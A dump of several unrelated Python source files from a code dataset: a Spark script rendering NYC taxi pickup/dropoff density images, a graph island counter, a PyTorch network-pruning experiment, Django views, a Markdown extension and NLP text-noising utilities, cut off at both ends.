yellow_2010[\"pickup_longitude\"].alias(\"lng\"), yellow_2010[\"dropoff_latitude\"].alias(\"dlat\"), yellow_2010[\"dropoff_longitude\"].alias(\"dlng\"))\nyellow_2011 = spark.read.parquet('file://' + read_dataset_folder + 'yellow_tripdata_2011.parquet')\nyellow_2011 = yellow_2011.select(yellow_2011[\"pickup_latitude\"].alias(\"lat\"), yellow_2011[\"pickup_longitude\"].alias(\"lng\"), yellow_2011[\"dropoff_latitude\"].alias(\"dlat\"), yellow_2011[\"dropoff_longitude\"].alias(\"dlng\"))\nyellow_2012 = spark.read.parquet('file://' + read_dataset_folder + 'yellow_tripdata_2012.parquet')\nyellow_2012 = yellow_2012.select(yellow_2012[\"pickup_latitude\"].alias(\"lat\"), yellow_2012[\"pickup_longitude\"].alias(\"lng\"), yellow_2012[\"dropoff_latitude\"].alias(\"dlat\"), yellow_2012[\"dropoff_longitude\"].alias(\"dlng\"))\nyellow_2013 = spark.read.parquet('file://' + read_dataset_folder + 'yellow_tripdata_2013.parquet')\nyellow_2013 = yellow_2013.select(yellow_2013[\"pickup_latitude\"].alias(\"lat\"), yellow_2013[\"pickup_longitude\"].alias(\"lng\"), yellow_2013[\"dropoff_latitude\"].alias(\"dlat\"), yellow_2013[\"dropoff_longitude\"].alias(\"dlng\"))\nyellow_2014 = spark.read.parquet('file://' + read_dataset_folder + 'yellow_tripdata_2014.parquet')\nyellow_2014 = yellow_2014.select(yellow_2014[\"pickup_latitude\"].alias(\"lat\"), yellow_2014[\"pickup_longitude\"].alias(\"lng\"), yellow_2014[\"dropoff_latitude\"].alias(\"dlat\"), yellow_2014[\"dropoff_longitude\"].alias(\"dlng\"))\nyellow_2015 = spark.read.parquet('file://' + read_dataset_folder + 'yellow_tripdata_2015.parquet')\nyellow_2015 = yellow_2015.select(yellow_2015[\"pickup_latitude\"].alias(\"lat\"), yellow_2015[\"pickup_longitude\"].alias(\"lng\"), yellow_2015[\"dropoff_latitude\"].alias(\"dlat\"), yellow_2015[\"dropoff_longitude\"].alias(\"dlng\"))\nyellow_2016 = spark.read.parquet('file://' + read_dataset_folder + 'yellow_tripdata_2016.parquet')\nyellow_2016 = yellow_2016.select(yellow_2016[\"pickup_latitude\"].alias(\"lat\"), yellow_2016[\"pickup_longitude\"].alias(\"lng\"), yellow_2016[\"dropoff_latitude\"].alias(\"dlat\"), yellow_2016[\"dropoff_longitude\"].alias(\"dlng\"))\n\ngreen_2013 = spark.read.parquet('file://' + read_dataset_folder + 'green_tripdata_2013.parquet')\ngreen_2013 = green_2013.select(green_2013[\"Pickup_latitude\"].alias(\"lat\"), green_2013[\"Pickup_longitude\"].alias(\"lng\"), green_2013[\"Dropoff_latitude\"].alias(\"dlat\"), green_2013[\"Dropoff_longitude\"].alias(\"dlng\"))\ngreen_2014 = spark.read.parquet('file://' + read_dataset_folder + 'green_tripdata_2014.parquet')\ngreen_2014 = green_2014.select(green_2014[\"Pickup_latitude\"].alias(\"lat\"), green_2014[\"Pickup_longitude\"].alias(\"lng\"), green_2014[\"Dropoff_latitude\"].alias(\"dlat\"), green_2014[\"Dropoff_longitude\"].alias(\"dlng\"))\ngreen_2015 = spark.read.parquet('file://' + read_dataset_folder + 'green_tripdata_2015.parquet')\ngreen_2015 = green_2015.select(green_2015[\"Pickup_latitude\"].alias(\"lat\"), green_2015[\"Pickup_longitude\"].alias(\"lng\"), green_2015[\"Dropoff_latitude\"].alias(\"dlat\"), green_2015[\"Dropoff_longitude\"].alias(\"dlng\"))\ngreen_2016 = spark.read.parquet('file://' + read_dataset_folder + 'green_tripdata_2016.parquet')\ngreen_2016 = green_2016.select(green_2016[\"Pickup_latitude\"].alias(\"lat\"), green_2016[\"Pickup_longitude\"].alias(\"lng\"), green_2016[\"Dropoff_latitude\"].alias(\"dlat\"), green_2016[\"Dropoff_longitude\"].alias(\"dlng\"))\n\nyellow_dataset = yellow_2010.union(yellow_2011).union(yellow_2012).union(yellow_2013).union(yellow_2014).union(yellow_2015).union(yellow_2016)\n\nlat_low = 40.437467\nlng_low = -74.354857\nlng_high = -73.708329\n#Make sure it is a square boundary\nlat_high = lat_low + (lng_high - lng_low)\n\nres_lat = 5000\ndivide_factor = (lng_high - lng_low) / res_lat\n\nyellow_dataset = yellow_dataset.filter(yellow_dataset[\"lat\"] > lat_low)\nyellow_dataset = yellow_dataset.filter(yellow_dataset[\"lat\"] < lat_high)\nyellow_dataset = yellow_dataset.filter(yellow_dataset[\"lng\"] > lng_low)\nyellow_dataset = yellow_dataset.filter(yellow_dataset[\"lng\"] < lng_high)\nyellow_dataset = yellow_dataset.filter(yellow_dataset[\"dlat\"] > lat_low)\nyellow_dataset = yellow_dataset.filter(yellow_dataset[\"dlat\"] < lat_high)\nyellow_dataset = yellow_dataset.filter(yellow_dataset[\"dlng\"] > lng_low)\nyellow_dataset = yellow_dataset.filter(yellow_dataset[\"dlng\"] < lng_high)\n\ngreen_dataset = green_2013.union(green_2014).union(green_2015).union(green_2016)\ngreen_dataset = green_dataset.filter(green_dataset[\"lat\"] > lat_low)\ngreen_dataset = green_dataset.filter(green_dataset[\"lat\"] < lat_high)\ngreen_dataset = green_dataset.filter(green_dataset[\"lng\"] > lng_low)\ngreen_dataset = green_dataset.filter(green_dataset[\"lng\"] < lng_high)\ngreen_dataset = green_dataset.filter(green_dataset[\"dlat\"] > lat_low)\ngreen_dataset = green_dataset.filter(green_dataset[\"dlat\"] < lat_high)\ngreen_dataset = green_dataset.filter(green_dataset[\"dlng\"] > lng_low)\ngreen_dataset = green_dataset.filter(green_dataset[\"dlng\"] < lng_high)\n\ndataset = yellow_dataset.union(green_dataset)\n\ndataset = dataset.filter(dataset[\"lat\"] > lat_low)\ndataset = dataset.filter(dataset[\"lat\"] < lat_high)\ndataset = dataset.filter(dataset[\"lng\"] > lng_low)\ndataset = dataset.filter(dataset[\"lng\"] < lng_high)\n\npickup_dataset = dataset.select((((dataset[\"lat\"] - (lat_low)) / divide_factor).cast(IntegerType()).alias(\"lat_index\")), (((dataset[\"lng\"] - (lng_low)) / divide_factor).cast(IntegerType()).alias(\"lng_index\"))).groupBy(\"lat_index\", \"lng_index\").count()\ndropoff_dataset = dataset.select((((dataset[\"dlat\"] - (lat_low)) / divide_factor).cast(IntegerType()).alias(\"lat_index\")), (((dataset[\"dlng\"] - (lng_low)) / divide_factor).cast(IntegerType()).alias(\"lng_index\"))).groupBy(\"lat_index\", \"lng_index\").count()\n\nyellow_pickup_dataset = yellow_dataset.select((((yellow_dataset[\"lat\"] - (lat_low)) / divide_factor).cast(IntegerType()).alias(\"lat_index\")), (((yellow_dataset[\"lng\"] - (lng_low)) / divide_factor).cast(IntegerType()).alias(\"lng_index\"))).groupBy(\"lat_index\", \"lng_index\").count()\nyellow_dropoff_dataset = yellow_dataset.select((((yellow_dataset[\"dlat\"] - (lat_low)) / divide_factor).cast(IntegerType()).alias(\"lat_index\")), (((yellow_dataset[\"dlng\"] - (lng_low)) / divide_factor).cast(IntegerType()).alias(\"lng_index\"))).groupBy(\"lat_index\", \"lng_index\").count()\n\ngreen_pickup_dataset = green_dataset.select((((green_dataset[\"lat\"] - (lat_low)) / divide_factor).cast(IntegerType()).alias(\"lat_index\")), (((green_dataset[\"lng\"] - (lng_low)) / divide_factor).cast(IntegerType()).alias(\"lng_index\"))).groupBy(\"lat_index\", \"lng_index\").count()\ngreen_dropoff_dataset = green_dataset.select((((green_dataset[\"dlat\"] - (lat_low)) / divide_factor).cast(IntegerType()).alias(\"lat_index\")), (((green_dataset[\"dlng\"] - (lng_low)) / divide_factor).cast(IntegerType()).alias(\"lng_index\"))).groupBy(\"lat_index\", \"lng_index\").count()\n\n#Produces CSV intermediate results\nprint(\"Elaborating 1\")\npickup_dataset.toPandas().to_csv(dataset_folder + \"pickup_image_data.csv\", header=True)\nprint(\"Elaborating 2\")\ndropoff_dataset.toPandas().to_csv(dataset_folder + \"dropoff_image_data.csv\", header=True)\nprint(\"Elaborating 3\")\nyellow_pickup_dataset.toPandas().to_csv(dataset_folder + \"yellow_pickup_image_data.csv\", header=True)\nprint(\"Elaborating 4\")\nyellow_dropoff_dataset.toPandas().to_csv(dataset_folder + \"yellow_dropoff_image_data.csv\", header=True)\nprint(\"Elaborating 5\")\ngreen_pickup_dataset.toPandas().to_csv(dataset_folder + \"green_pickup_image_data.csv\", header=True)\nprint(\"Elaborating 6\")\ngreen_dropoff_dataset.toPandas().to_csv(dataset_folder + \"green_dropoff_image_data.csv\", header=True)\n\n\nimage_names = [\"pickup_image_data\", \"dropoff_image_data\", \"yellow_pickup_image_data\", \"yellow_dropoff_image_data\", \"green_pickup_image_data\", \"green_dropoff_image_data\"]\n\ndef elaborate_image(image_name):\n print(\"Elaborating \" + image_name)\n image = pd.read_csv(dataset_folder + image_name + \".csv\")\n counts = np.zeros((res_lat, res_lat))\n\n for index, row in image.iterrows():\n if index % 5000 == 0:\n print(index)\n counts[int(row[\"lat_index\"]), int(row[\"lng_index\"])] = int(row[\"count\"])\n\n np.save(dataset_folder + image_name, counts)\n\n#Translates intermediate results to image pixels\npool = multiprocessing.Pool(6)\npool.map(elaborate_image, image_names)\n\n#Produces images\nfor image_name in image_names:\n\n counts = np.load(dataset_folder + image_name + \".npy\")\n counts = np.log(counts + 1)\n plt.imsave(dataset_folder + image_name +\".png\", counts, dpi=4000, cmap=\"Greys\")\n","sub_path":"data_imaging_main.py","file_name":"data_imaging_main.py","file_ext":"py","file_size_in_byte":10394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"296093019","text":"class Graph:\n def __init__(self, row, col, g):\n self.ROW = row\n self.COL = col\n self.graph = g\n\n def isSafe(self, i, j, visited):\n return (0 <= i < self.ROW and 0 <= j < self.COL and\n not visited[i][j] and self.graph[i][j])\n\n def dfs(self, i, j, visited):\n # These arrays are used to get row and\n # column numbers of 8 neighbours\n # of a given cell\n row_nbr = [-1, -1, -1, 0, 0, 1, 1, 1]\n col_nbr = [-1, 0, 1, -1, 1, -1, 0, 1]\n visited[i][j] = True\n for k in range(8):\n if self.isSafe(i + row_nbr[k], j + col_nbr[k], visited):\n self.dfs(i + row_nbr[k], j + col_nbr[k], visited)\n\n def count_islands(self):\n visited = [[False for j in range(self.COL)] for i in range(self.ROW)]\n count = 0\n for i in range(self.ROW):\n for j in range(self.COL):\n if visited[i][j] == False and self.graph[i][j] == 1:\n self.dfs(i, j, visited)\n count += 1\n return count\n\n\n# Don't change this function\ndef solve(graph):\n return graph.count_islands()\n","sub_path":"Topological Sort/Q2/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"108978871","text":"## import libraries\nimport numpy as np\nimport pandas as pd\nimport torch\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import MaxNLocator\n# fix randomness\nnp.random.seed(19680805)\n## predefine functions for vector calculation\ndef unit_vector(vector):\n\treturn vector.numpy() / np.linalg.norm(vector)\ndef angle_between(v1, v2):\n\tv1_u = unit_vector(v1)\n\tv2_u = unit_vector(v2)\n\treturn np.degrees(np.arccos(np.clip(np.dot(v1_u, v2_u), -1.0, 1.0)))\n# define a two layer neural network structure\nclass TwoLayerNet(torch.nn.Module):\n\n\tdef __init__(self, n_input, n_hidden, n_output):\n\t\tsuper(TwoLayerNet, self).__init__()\n\t\t# define linear hidden layer output\n\t\tself.hidden = torch.nn.Linear(n_input, n_hidden)\n\t\t# define linear output layer output\n\t\tself.out = torch.nn.Linear(n_hidden, n_output)\n\n\tdef forward(self, x):\n\t\t\"\"\"\n\t\t\tIn the forward function we define the process of performing\n\t\t\tforward pass, that is to accept a Variable of input\n\t\t\tdata, x, and return a Variable of output data, y_pred.\n\t\t\"\"\"\n\t\t# get hidden layer input\n\t\th_input = self.hidden(x)\n\t\t# define activation function for hidden layer\n\t\th_output = torch.sigmoid(h_input)\n\t\t# get output layer output\n\t\ty_pred = self.out(h_output)\n\n\t\treturn y_pred,h_output# the hidden unit activations are also output\n\n\n## Input Data\ndata = pd.read_excel('Jae-First_Exp_data2.xls',sheet_name = 0)\ndata = data.iloc[2:,:]\ndata.drop(data.columns[26], axis=1, inplace=True)\ndata = data.sample(frac=1).reset_index(drop=True)\n#if large screen, then 1. if small, then zero.\ndata.iloc[:,1] = (data.iloc[:,1] =='L').astype(int)\ndata.iloc[:,3:] = (data.iloc[:,3:]-np.min(data.iloc[:,3:]))/(np.max(data.iloc[:,3:])-np.min(data.iloc[:,3:]))\n#split trainng and test set\nmsk = np.random.rand(len(data)) < 0.8\ntrain_data = data[msk]\ntest_data = data[~msk]\n# some empty array for storing training history\nnum_of_it = 3\ntraining_acc_before = np.zeros(len(range(4,28)))\ntraining_acc_after = np.zeros(len(range(4,28)))\ntest_acc_before = np.zeros(len(range(4,28)))\ntest_acc_after = np.zeros(len(range(4,28)))\nnum_of_operation = np.zeros(len(range(4,28)))\n## Training and network Reduction\nfor iteration in range(num_of_it):\n\tprint(iteration)\n\tind = 0\n\tfor i in range(4,28):\n\t\tn_input = i-3#define number of input features\n\t\tprint(n_input)\n\t\ttrain_input = train_data.iloc[:,3:i]\n\t\ttrain_target = train_data.iloc[:,1]\n\n\t\ttest_input = test_data.iloc[:, 3:i]\n\t\ttest_target = test_data.iloc[:,1]\n\t\t#Create tensors for training\n\t\tX = Variable(torch.Tensor(train_input.astype(float).values))\n\t\tY = Variable(torch.Tensor(train_target.values)).long()\n\n\t\tn_features = X.shape[1]\n\n\t\t## Config Network\n\t\thidden_neurons = 20\n\t\tinput_neurons = n_features\n\t\toutput_neurons = 2\n\t\tlearning_rate = 0.01\n\t\tnum_epochs = 1000\n\n\t\tnet = TwoLayerNet(input_neurons, hidden_neurons, output_neurons)\n\t\tloss_func = torch.nn.CrossEntropyLoss()\n\t\toptimiser = torch.optim.Adam(net.parameters(), lr=learning_rate)\n\t\tall_losses = []\n\t\t# Train\n\t\tfor epoch in range(num_epochs):\n\t\t\tY_pred,h_train = net(X)\n\t\t\tloss = loss_func(Y_pred, Y)\n\t\t\tall_losses.append(loss.item())\n\t\t\tnet.zero_grad()\n\t\t\tloss.backward()\n\t\t\toptimiser.step()\n\t\t# compute training accuracy\n\t\t_, predicted = torch.max(Y_pred, 1)\n\t\ttotal = predicted.size(0)\n\t\tcorrect = predicted.data.numpy() == Y.data.numpy()\n\t\ttraining_acc_before[ind]+=(100 * sum(correct)/total)\n\t\t\n\t\t# Test NN\n\t\tX_test = Variable(torch.Tensor(test_input.astype(float).values))\n\t\tY_test = torch.Tensor(test_target.values).long()\n\t\tY_pred_test,_ = net(X_test)\n\n\t\t_, predicted_test = torch.max(Y_pred_test, 1)\n\n\t\t# calculate test accuracy\n\t\ttotal_test = predicted_test.size(0)\n\t\tcorrect_test = sum(predicted_test.data.numpy() == Y_test.data.numpy())\n\t\ttest_acc_before[ind]+=(100 * correct_test / total_test)\n\t\t\n\t\t# Compute vector angle and pruning\n\t\tmagnitude = np.zeros(hidden_neurons)\n\t\th_train -= 0.5\n\t\toperation = 0\n\t\tfor i in range(hidden_neurons):\n\t\t\tmagnitude[i] = np.linalg.norm(h_train[:,i].detach())# calculate magnitude of each activation\n\t\t\tif magnitude[i] < 0.1:#locate deactivated neurons by setting up a threshold, 0.1\n\t\t\t\tnet.out.weight[:,i] = 0# set the outgoing weight as 0 to remove unit\n\t\t\t\toperation += 1\n\t\t\tfor j in range(i+1,hidden_neurons):\n\t\t\t\tangle = angle_between(h_train[:,i].detach(),h_train[:,j].detach())#compute vectore angle between units\n\t\t\t\tif ((angle <= 15) and (net.out.weight[0,j] != 0)):# locate similar units\n\t\t\t\t\tnet.out.weight[:,i] += net.out.weight[:,j]\n\t\t\t\t\tnet.out.weight[:,j] = 0\n\t\t\t\t\toperation += 1\n\t\t\t\telif ((angle >= 165)and (net.out.weight[0,j] != 0)):# locate complement units\n\t\t\t\t\tnet.out.weight[:,i] -= net.out.weight[:,j]\n\t\t\t\t\tnet.out.weight[:,j] = 0\n\t\t\t\t\toperation += 1\n\t\tnum_of_operation[ind]+=(operation/hidden_neurons*100)# measure the reduction rate\n\t\t# Train after Pruning\n\t\tY_pred,_ = net(X)\n\t\t_, predicted = torch.max(Y_pred, 1)\n\t\ttotal = predicted.size(0)\n\t\tcorrect = predicted.data.numpy() == Y.data.numpy()\n\t\ttraining_acc_after[ind]+=(100 * sum(correct)/total)\n\t\t# Test after Pruning\n\t\tY_pred_test,_ = net(X_test)\n\t\t_, predicted_test = torch.max(Y_pred_test, 1)\n\t\t# calculate accuracy\n\t\ttotal_test = predicted_test.size(0)\n\t\tcorrect_test = sum(predicted_test.data.numpy() == Y_test.data.numpy())\n\t\ttest_acc_after[ind]+=(100 * correct_test / total_test)\n\t\tind+=1\n# calculate mean value of accuracies\ntraining_acc_before /=num_of_it\ntraining_acc_after /=num_of_it\ntest_acc_before /=num_of_it\ntest_acc_after /=num_of_it\nnum_of_operation /= num_of_it\nprint(training_acc_before)\nprint(training_acc_after)\nprint(test_acc_before)\nprint(test_acc_after)\nprint(num_of_operation)\n## Plot Result\nfig1 = plt.figure()\nax1 = fig1.add_subplot(121)\nax1.plot(range(1,n_input+1),training_acc_before,'ro-')\nax1.plot(range(1,n_input+1),training_acc_after,'bo-')\nax1.plot(range(1,n_input+1),test_acc_before,'ro-')\nax1.plot(range(1,n_input+1),test_acc_after,'bo-')\nplt.legend(['Training Accuracy before Reduction','Training Accuracy after Reduction','Test Accuracy before Reduction','Test Accuracy after Reduction'],loc='best')\nax1.set_xlabel('Number of Input Features')\nax1.set_ylabel('Accuracy')\nax1.xaxis.set_major_locator(MaxNLocator(integer=True))\nax1.axis([3,n_features,0,100])\n\nax2 = fig1.add_subplot(122)\nax2.plot(range(1,n_input+1),num_of_operation,'ro-')\nax2.plot(range(1,n_input+1),np.absolute(np.array(training_acc_before)-np.array(training_acc_after)),'bo-')\nplt.legend(['Reductions rate','Difference between accuracies'],loc='best')\nax2.set_xlabel('Number of Input Features')\nax2.xaxis.set_major_locator(MaxNLocator(integer=True))\n#ax2.axis([3,n_features,0,15])\nplt.show()\n\n\n\t\t\n\t\n\n\n\n\n\n\n","sub_path":"Distinctiveness Measurement and Network Pruning/number_of_input_features.py","file_name":"number_of_input_features.py","file_ext":"py","file_size_in_byte":6650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"356422838","text":"#!/usr/bin/python\n# -*- coding:utf-8 -*-\nclass Solution:\n def permute(self, nums):\n if [] == nums:\n return [[]]\n\n outcome = []\n self.core(nums, 0, outcome)\n return outcome\n\n def core(self, nums, left, outcome):\n if left == len(nums) - 1:\n outcome.append(nums[:])\n else:\n for i in range(left, len(nums)):\n if i == left:\n self.core(nums, left + 1, outcome)\n else:\n nums[left], nums[i] = nums[i], nums[left]\n self.core(nums, left + 1, outcome)\n nums[left], nums[i] = nums[i], nums[left]\n\n\nif __name__ == \"__main__\":\n s = Solution()\n outcome = s.permute([1, 2, 3])\n print(outcome)\n","sub_path":"leetcode/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"54043332","text":"from django.http import HttpResponse\nfrom django.shortcuts import render\n\n\n# Create your views here.\nfrom .models import Usuario\nfrom .models import Proyecto\n\n\"\"\"\"\ndef usuario_model_list_view(request):\n\t\n\n\tqs = Usuario.objects.all()\n\tprint(qs)\n\ttemplate=\"blog/list-view.html\"\n\tcontext={\n\t\t\"objects_list\":qs\n\t}\n\treturn render(request,template, context)\"\"\"\ndef list_usuario(request):\n\n\t\tusuario =Usuario.objects.all()\n\t\ttemplate=\"list_usuario.html\"\n\t\tcontext={\"usuario\":usuario}\n\t\treturn render(request, template,context)\n\ndef list_proyecto(request):\n\n\t\tproyecto =Proyecto.objects.all()\n\t\ttemplate=\"list_proyectos.html\"\n\t\tcontext={\"proyecto\":proyecto}\n\t\treturn render(request, template,context)\n","sub_path":"usuario/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"284616105","text":"import markdown\nfrom markdown.inlinepatterns import Pattern\nimport re\nimport copy\n\n\ndef replace_params(match, attributes):\n new_attrs = copy.deepcopy(attributes)\n for (k, v) in new_attrs.items():\n new_attrs[k] = replace_params_in_string(match, v)\n return new_attrs\n\n\ndef replace_params_in_string(match, string):\n param = re.compile(r'[.*\\$(\\d+).*]+')\n result = copy.copy(string)\n for i in set(param.findall(string)):\n gr = int(i[1:])\n result = result.replace(i, match.group(gr))\n return result\n\n\nclass AttrTagPattern(Pattern):\n \"\"\"\n Return element of type `tag` with a text attribute of group(3)\n of a Pattern and with the html attributes defined with the constructor.\n\n \"\"\"\n\n def __init__(self, pattern, tag: str = \"canvas\", attrs={}, text=\"\"):\n Pattern.__init__(self, pattern)\n self.tag = tag\n self.attrs = attrs\n self.text = text\n\n def handleMatch(self, m):\n el = markdown.util.etree.Element(self.tag)\n new_attrs = replace_params(m, self.attrs)\n el.text = self.text\n for (key, val) in new_attrs.items():\n el.set(key, val)\n return el\n","sub_path":"utils/extensions.py","file_name":"extensions.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"647259093","text":"import torch\nimport numpy as np\nimport os\nimport shutil\nimport time\n\ndef tensor2text(tokenizer, tensor):\n vocab = tokenizer.ids_to_tokens\n vocab[len(vocab)] = '[EOS]'\n\n tensor = tensor.cpu().numpy()\n text = [ ]\n index2word = vocab\n for sample in tensor:\n sample_filtered = [ ]\n for idx in list(sample):\n sample_filtered.append(index2word [ idx ])\n sample = ' '.join(sample_filtered)\n text.append(sample)\n\n return text\n\ndef calc_ppl(log_probs, tokens_mask):\n return (log_probs.sum() / tokens_mask.sum()).exp()\n\ndef idx2onehot(x, num_classes):\n y = x.unsqueeze(-1)\n x_onehot = torch.zeros_like(y.expand(x.size() + torch.Size((num_classes, ))))\n x_onehot.scatter_(-1, y, 1)\n return x_onehot.float()\n\ndef word_shuffle(x, l, shuffle_len):\n if not shuffle_len:\n return x\n\n noise = torch.rand(x.size(), dtype=torch.float) #.to(x.device)\n #print(noise)\n\n pos_idx = torch.arange(x.size(1), dtype=torch.int32).unsqueeze(0).expand_as(x) #.to(x.device)\n #print(pos_idx)\n\n pad_mask = (pos_idx >= l.unsqueeze(1)-1) #& (pos_idx==0)\n pad_mask = pad_mask.float()\n\n scores = pos_idx.float() + ((1 - pad_mask) * noise + pad_mask) * shuffle_len\n x2 = x.clone()\n x2 = x2.gather(1, scores.argsort(1))\n\n return x2\n\n\n\ndef word_dropout_raw(x, l, unk_drop_prob, rand_drop_prob, vocab):\n if not unk_drop_prob and not rand_drop_prob:\n return x\n\n assert unk_drop_prob + rand_drop_prob <= 1\n\n noise = torch.rand(x.size(), dtype=torch.float).to(x.device)\n pos_idx = torch.arange(x.size(1)).unsqueeze(0).expand_as(x).to(x.device)\n token_mask = pos_idx < l.unsqueeze(1)\n\n x2 = x.clone()\n \n # drop to token\n if unk_drop_prob:\n unk_idx = vocab.stoi['']\n unk_drop_mask = (noise < unk_drop_prob) & token_mask\n x2.masked_fill_(unk_drop_mask, unk_idx)\n\n # drop to random_mask\n if rand_drop_prob:\n rand_drop_mask = (noise > 1 - rand_drop_prob) & token_mask\n rand_tokens = torch.randint_like(x, len(vocab))\n rand_tokens.masked_fill_(1 - rand_drop_mask, 0)\n x2.masked_fill_(rand_drop_mask, 0)\n x2 = x2 + rand_tokens\n \n return x2\n\ndef unk_dropout_(x, l, drop_prob, unk_idx):\n noise = torch.rand(x.size(), dtype=torch.float).to(x.device)\n pos_idx = torch.arange(x.size(1)).unsqueeze(0).expand_as(x).to(x.device)\n token_mask = pos_idx < l.unsqueeze(1)\n unk_drop_mask = (noise < drop_prob) & token_mask\n x.masked_fill_(unk_drop_mask, unk_idx)\n\ndef rand_dropout_(x, l, drop_prob, vocab_size):\n noise = torch.rand(x.size(), dtype=torch.float).to(x.device)\n pos_idx = torch.arange(x.size(1)).unsqueeze(0).expand_as(x).to(x.device)\n token_mask = pos_idx < l.unsqueeze(1)\n rand_drop_mask = (noise < drop_prob) & token_mask\n rand_tokens = torch.randint_like(x, vocab_size)\n rand_tokens.masked_fill_(1 - rand_drop_mask, 0)\n x.masked_fill_(rand_drop_mask, 0)\n x += rand_tokens\n\ndef word_dropout_new(x, l, unk_drop_fac, rand_drop_fac, drop_prob, vocab):\n if not unk_drop_fac and not rand_drop_fac:\n return x\n\n assert unk_drop_fac + rand_drop_fac <= 1\n\n batch_size = x.size(0)\n unk_idx = vocab.stoi['']\n unk_drop_idx = int(batch_size * unk_drop_fac)\n rand_drop_idx = int(batch_size * rand_drop_fac)\n\n shuffle_idx = torch.argsort(torch.rand(batch_size))\n orignal_idx = torch.argsort(shuffle_idx)\n\n x2 = x.clone()\n x2 = x2[shuffle_idx]\n \n if unk_drop_idx:\n unk_dropout_(x2[:unk_drop_idx], l[:unk_drop_idx], drop_prob, unk_idx)\n\n if rand_drop_idx:\n rand_dropout_(x2[-rand_drop_idx:], l[-rand_drop_idx:], drop_prob, len(vocab))\n\n x2 = x2[orignal_idx]\n\n return x2\n\ndef word_dropout(x, l, drop_prob, unk_idx):\n if not drop_prob:\n return x\n\n noise = torch.rand(x.size(), dtype=torch.float).to(x.device)\n pos_idx = torch.arange(x.size(1)).unsqueeze(0).expand_as(x).to(x.device)\n token_mask = pos_idx < l.unsqueeze(1)\n\n drop_mask = (noise < drop_prob) & token_mask\n x2 = x.clone()\n x2.masked_fill_(drop_mask, unk_idx)\n \n return x2\n\n\ndef word_drop(x, l, drop_prob):\n if not drop_prob:\n return x\n\n noise = torch.rand(x.size(), dtype=torch.float) #.to(x.device)\n pos_idx = torch.arange(x.size(1), dtype=torch.int32).unsqueeze(0).expand_as(x) #.to(x.device)\n\n token_mask = (pos_idx < l.unsqueeze(1) ) & \\\n (x!=2054)& (x!=2029)& (x!=2040)& (x!=2339)& \\\n (x!=2023)& (x!=2024)& (x!=2043)& (x!=2073)& \\\n (x!=2515)& (x!=2106)& (x!=2038)& (x!=2031)& (x!=102)\n # do not drop:\n # what: 2054\n # how: 2029\n # who: 2040\n # why: 2339\n # is: 2023\n # are: 2024\n # when: 2043\n # where: 2073\n # does: 2515\n # did: 2106\n # has: 2038\n # have: 2031\n\n drop_mask = (noise < drop_prob) & token_mask\n\n #print(drop_mask)\n\n pos_idx= pos_idx * (drop_mask==0).int() + (x.size(1)-1) * drop_mask.int() #.long() # .long(). #.int32() \n #print(pos_idx)\n pos_idx = torch.sort(pos_idx, 1) [ 0 ]\n #print(pos_idx)\n\n x2 = x.gather(1, pos_idx.long())\n\n return x2\n\ndef get_lengths(tokens, eos_idx):\n\n max_len = tokens.size(1)\n\n # eos_idx would be 30522\n lengths = torch.cumsum(tokens == eos_idx, 1)\n lengths = (lengths == 0).long().sum(-1)\n lengths = lengths + 1 # +1 for token\n\n lengths = torch.clamp(lengths, min=1, max=max_len)\n\n return lengths\n\ndef insert_list(x, length, num):\n words=[2009,2002,2032,2016,2010,2014,2027,2068,2037,103]\n #2122,2216,2023,2008,2045,2182]\n # it: 2009\n # he: 2002\n # him: 2032\n # she: 2016\n # his: 2010\n # her: 2014\n # they: 2027\n # them: 2068\n # these: 2122\n # those: 2216\n # their: 2037\n # this: 2023\n # that: 2008\n # there: 2045\n # here: 2182\n # [msk] : 103\n #print(length)\n index = np.random.randint(length, size=num)\n item = np.random.choice(words, size=num)\n for _i, _index in enumerate(index):\n x.insert(_index, item[_i])\n del x[-1]\n if x[-1]==102:\n break\n return x\n\ndef word_insert(x, l, insert_len=3):\n # batch_size = x.size(0)\n max_len = x.size(1)\n max_insert = max_len - l\n insert_num = torch.randint_like(l, low=0, high=insert_len+1)\n insert_num = torch.min(max_insert, insert_num)\n result = map(insert_list, x.tolist(), l.tolist(), insert_num.tolist())\n return torch.tensor(list(result), dtype=torch.int32) #, device=x.device)\n\n\n## main function.\ndef add_noise(words, lengths, eos, shuffle_times, shuffle_len, drop_prob, insert_len):\n for i in range(shuffle_times):\n words = word_shuffle(words, lengths, shuffle_len)\n # after shuffle, the length is unchanged\n \n words = word_drop(words, lengths, drop_prob)\n lengths = get_lengths(words, eos)\n words = word_insert(words, lengths, insert_len)\n return words \n\n\nclass scalar_writer():\n def __init__(self, writer, name, freq=1):\n self.niter = 0\n self.writer = writer\n self.name = name\n self.freq = freq\n def write(self, value):\n if self.niter % self.freq ==0:\n self.writer.add_scalars(self.name, value, self.niter)\n self.niter += 1\n\n\nclass histogram_writer():\n def __init__(self, writer, name, freq=1):\n self.niter = 0\n self.writer = writer\n self.name = name\n self.freq = freq\n def write(self, value):\n if self.niter % self.freq ==0:\n # print('haha')\n self.writer.add_histogram(self.name, value, self.niter)\n self.niter += 1\n\ndef new_dir(logdir):\n if os.path.isdir(logdir):\n shutil.rmtree(logdir)\n os.makedirs(logdir)\n\ndef print_tensor(tensor_name, tensor, value=False, full_value=False):\n assert type(tensor_name) is str\n import time\n time_now = time.time()\n print('\\n'+'-'*80)\n if type(tensor) is torch.Tensor:\n size = tensor.size()\n elif type(tensor) is list:\n size = []\n a = tensor\n while type(a) is list:\n size += [len(a)]\n a = a[0]\n elif type(tensor) is np.ndarray:\n size = tensor.shape\n print(str(time_now) + ' || '+ tensor_name + ' shape: ', size)\n if value:\n if full_value:\n print(str(time_now) + ' || ' + tensor_name + ' value: ', 